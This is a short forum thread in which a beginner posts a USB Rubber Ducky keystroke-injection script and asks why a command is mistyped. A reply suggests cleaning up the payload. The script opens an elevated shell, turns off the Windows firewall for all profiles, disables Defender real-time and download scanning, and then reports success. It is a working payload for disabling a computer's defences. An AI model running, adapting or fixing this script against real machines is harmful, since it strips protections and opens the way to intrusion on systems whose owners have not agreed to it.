Jump to content

Rubber Ducky script error


Recommended Posts

Hi,

When I run the script below, Powershell states that 'ynetsh'is not a recognised command, yet the script correctly says 'netsh'. 

Any idea how I can correct this? (Sorry I'm obviously a newbie! :D)

Cheers

 

DELAY 1000
GUI r
DELAY 500
STRING powershell
CTRL SHIFT ENTER
DELAY 1000
ALT y
DELAY 1000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 500
ALT y
DELAY 500
STRING netsh advfirewall set allprofiles state off
ENTER
DELAY 1000
STRING powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
ENTER
DELAY 1000
STRING powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
ENTER
DELAY 1000
STRING echo Windows 11 firewall, antivirus, and threat detection have been disabled successfully.
ENTER

 

Link to comment
Share on other sites

That payload code for sure needs some TLC from Mr Foose. One good way to start it to do everything manually in order to identify the commands that are actually needed to do the job, and not a bunch of stuff that isn't relevant. Then bake all of that into a delicious DuckyScript cake. The code can also be further optimized using the features that is available in DuckyScript v3. It will at least cut down the number of lines used and make the payload more readable.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...